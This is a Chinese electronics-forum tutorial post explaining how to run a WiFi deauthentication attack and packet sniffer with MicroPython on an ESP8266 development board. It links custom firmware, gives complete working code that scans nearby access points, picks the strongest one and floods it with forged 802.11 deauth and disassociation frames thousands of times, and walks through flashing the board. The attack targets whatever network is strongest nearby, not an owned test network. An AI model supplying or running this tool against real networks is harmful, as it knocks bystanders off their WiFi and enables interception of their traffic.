查看: 175|回复: 0

[教程] MicroPython实现wifi干扰与抓包

[复制链接]

48

主题

0

好友

662

积分

举人

Rank: 4

  • TA的每日心情
    开心
    2016-9-7 16:50
  • 签到天数: 4 天

    连续签到: 1 天

    [LV.2]偶尔看看I

    发表于 2017-8-16 16:20:05 |显示全部楼层
      0x00前言

      之前做的WIFI攻击实验都是基于arduino环境开发的,最近想尝试一下使用micropython完成deautch(解除认证)攻击。本次开发板使用的还是TPYBoardv202(某宝上有卖,30元),因为它主要的功能就是支持micropython开发。

    1.jpg

      0x01实现原理

      a)        通过查阅资料和arduino的源码分析,了解到实现攻击其实就是发送IEEE802.11协议解除认证包,根据MAC层帧格式发送自定义的虚假deautch数据包。

      b)        调用ESP8266SDK中wifi_send_pkt_freedom函数,发送攻击包。

      0x02攻击构思

      a)        程序一开始扫描附件的AP。

      b)        找到信号最强的AP,获取到他的MAC地址(bssid)和信道。

      c)        将TPYBoardv202切换到同攻击AP相同的信道。

      d)        使用攻击AP的MAC地址,组合deauth解除认证包发送。

      0x03编译烧写固件及程序源码

      1、        编译固件

      现有的micropython-esp8266固件中,并没有引出wifi_send_pkt_freedom函数,于是

      我自己动手编译了一次固件,地址:

      https://github.com/PakchoiFood/micropython-deauth

      大家可以自行下载烧写使用,如果有的小伙伴想自己编译修改固件的话,请参考:

      https://github.com/micropython/micropython/tree/master/esp8266

      需要注意:在编译esp8266-sdk时,注意版本必须是1.3.0版本,否则wifi_send_pkt_freedom函数会一直返回-1失败。

      下载后解压,文件如下:

    2.png

      firmware.bin文件:micropython-esp8266生成的固件。

      增加的内容:

      setAttack函数

      参数:int类型(信道)

      功能:设置esp8266的信道

      send_pkt_freedom函数

      参数:bytes数组(定义的数据包)

      flash_download_tools_v3.3.6_win.rar:烧写固件的工具。

      MicroPythonFileUploader.rar:用于将程序下载到TPYBoardv202Flash的工具。

      main.py文件:程序源码文件,主要实现附件AP的扫描、数据包的组合和调用发送。
    1. import time
    2. import uos
    3. import wireless


    4. sta_if=wireless.attack(0)#0:STA 模式
    5. sta_if.active(True)
    6. ap_list=sta_if.scan()
    7. print(ap_list)
    8. ssid=''
    9. bssid=''#bssid:AP MAC address
    10. channel=''#信道
    11. _client=[0xFF,0xFF,0xFF,0xFF,0xFF,0xFF]#默认

    12. def deauth(_ap,_client,type,reason):
    13.     # 0 - 1   type, subtype c0: deauth (a0: disassociate)
    14.     # 2 - 3   duration (SDK takes care of that)
    15.     # 4 - 9   reciever (target)
    16.     # 10 - 15 source (ap)
    17.     # 16 - 21 BSSID (ap)
    18.     # 22 - 23 fragment & squence number
    19.     # 24 - 25 reason code (1 = unspecified reason)
    20.     packet=bytearray([0xC0,0x00,0x00,0x00,0xBB,0xBB,0xBB,0xBB,0xBB,0xBB,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0x00, 0x00,0x01, 0x00])
    21.     for i in range(0,6):
    22.         packet[4 + i] =_client[i]
    23.         packet[10 + i] = packet[16 + i] =_ap[i]
    24.     #set type
    25.     packet[0] = type;
    26.     packet[24] = reason
    27.     result=sta_if.send_pkt_freedom(packet)
    28.     if result==0:
    29.         time.sleep_ms(1)
    30.         return True
    31.     else:
    32.         return False
    33.    
    34. if __name__=="__main__":
    35.     max_rssid=0
    36.     max_id=0
    37.     num=0

    38.     #获取信号最强的AP 进行攻击
    39.     for i in ap_list:
    40.         if max_rssid==0:
    41.             max_rssid=i[3]#rssid
    42.         else:
    43.             if i[3]>max_rssid:
    44.                 max_rssid=i[3]
    45.                 max_id=num
    46.         num+=1
    47.     ssid=ap_list[max_id][0]
    48.     bssid=ap_list[max_id][1]
    49.     channel=ap_list[max_id][2]
    50.     print('ssid:',ssid,'-bssid:',bssid)
    51.     print('-channel:',channel,'-rssid:',max_rssid)
    52.     sendNum=5000#攻击次数
    53.    
    54.     print('******************************')
    55.     if sta_if.setAttack(channel):
    56.         print('Set Attack OK')
    57.         time.sleep_ms(100)
    58.         print('---deauth runing-----')
    59.         for i in range(0,sendNum):
    60.             r_=deauth(bssid, _client, 0xC0, 0x01)
    61.             if r_:
    62.                
    63.                 deauth(bssid, _client, 0xA0, 0x01)
    64.                 deauth(_client, bssid, 0xC0, 0x01)
    65.                 deauth(_client, bssid, 0xA0, 0x01)
    66.                 time.sleep_ms(5)
    67.             else:
    68.                 print('---deauth fail-------')
    69.             time.sleep_ms(5000)
    复制代码
    sniffer文件夹下的main.py实现网络抓包功能。
    1. import wireless
    2. import time

    3. #可以指定信道1~13
    4. sniffer=wireless.sniffer(6)
    5. #0:表示从信道1开始 定时切换信道
    6. #sniffer=wireless.sniffer(0)
    复制代码
    烧写固件

      1、        TPYBoardv202使用microUSB数据线接入电脑。查看安装的usb转串的端口。打开电脑的设备管理器(这里是COM57)。

    3.png

      2、        解压flash_download_tools_v3.3.6_win.rar,双击运行ESPFlashDownloadTool_v3.3.6.exe。

      3、选择firmware.bin固件文件,地址0x00000,其他参数根据下图设置。我的COM选择COM57,根据自己的实际端口选择,波特率选择115200。

    4.png

      4、点击【START】,界面提示等待上电同步。按住板子上的FLASH键不松,同时按一下RST键复位上电。左侧空白区显示读取的MAC地址,状态显示下载中,此时松开按键即可。

    5.png

      5、等待下载完毕,关闭软件退出。

      下载程序

      6、解压MicroPythonFileUploader.rar,双击运行MicroPythonFileUploader.exe。

    6.png

      此软件需要.NETFramework4.2及以上版本,若打开失败,请安装.NETFramework后再使用。

      .NETFramework4.5下载地址:http://www.tpyboard.com/download/drive/174.html

      7、选择COM57,点击【Open】打开串口。

    7.png

      8、点击右侧的文件夹图标的按钮,选择main.py文件。

    8.png

      9、此时可以点击【Send】,将程序发送给TPYBoardv202。发送成功后,程序自动运行。

    9.png

      10、接下来将sniffer下的main.py同样的是方式下载到板子里。(文件会覆盖)

      打开串口助手,就可以看到esp8266抓包的数据。

    10.png



    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    关闭

    站长推荐上一条 /5 下一条

    手机版|爱板网 |网站地图  

    GMT+8, 2017-10-23 12:09 , Processed in 0.151263 second(s), 12 queries , Memcache On.

    苏公网安备 32059002001056号

    Powered by Discuz!

    回顶部